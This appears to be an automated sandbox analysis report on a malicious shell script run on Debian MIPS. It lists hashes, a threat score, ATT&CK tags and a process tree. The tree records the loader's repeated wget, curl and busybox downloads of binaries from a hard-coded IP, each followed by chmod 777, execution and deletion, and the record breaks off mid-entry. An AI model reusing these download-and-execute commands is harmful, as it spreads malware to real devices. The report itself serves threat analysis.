9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

Analysis

max time kernel
92s
max time network
93s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
Size 10KB
Sample241122-dcawdasrct
SHA256 9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607
MD5 dc0ce8a1a92fcd65e74d86d4f034507f
SHA1 6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a
SHA512 a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643
SSDEEP 192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
959	chmod
887	chmod
989	chmod
899	chmod
905	chmod
929	chmod
812	chmod
860	chmod
875	chmod
893	chmod
971	chmod
1001	chmod
995	chmod
911	chmod
923	chmod
941	chmod
983	chmod
953	chmod
977	chmod
824	chmod
866	chmod
881	chmod
917	chmod
935	chmod
760	chmod
767	chmod
947	chmod
965	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	curl
File opened for modification	/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	curl
File opened for modification	/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	curl
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	curl
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	curl
File opened for modification	/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	curl
File opened for modification	/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	curl
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	curl

/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
1⤵
PID:730
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:733
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:758
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:762
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:766
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:769
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:784
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:823
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:841
- /bin/chmod
  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:865
- /bin/chmod
  chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:874
- /bin/chmod
  chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:877
- /usr/bin/wget
  wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:880
- /bin/chmod
  chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:883
- /usr/bin/wget
  wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:886
- /bin/chmod
  chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:889
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:892
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:898
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:901
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:904
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:907
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:910
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:913
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:916
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:919
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:922
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:925
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:928
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:931
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:934
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:937
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:940
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:943
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:946
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:949
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:952
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:955
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:958
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:961
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:964
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:967
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:970
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:973
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:976
- /bin/chmod
  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:979
- /usr/bin/wget
  wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
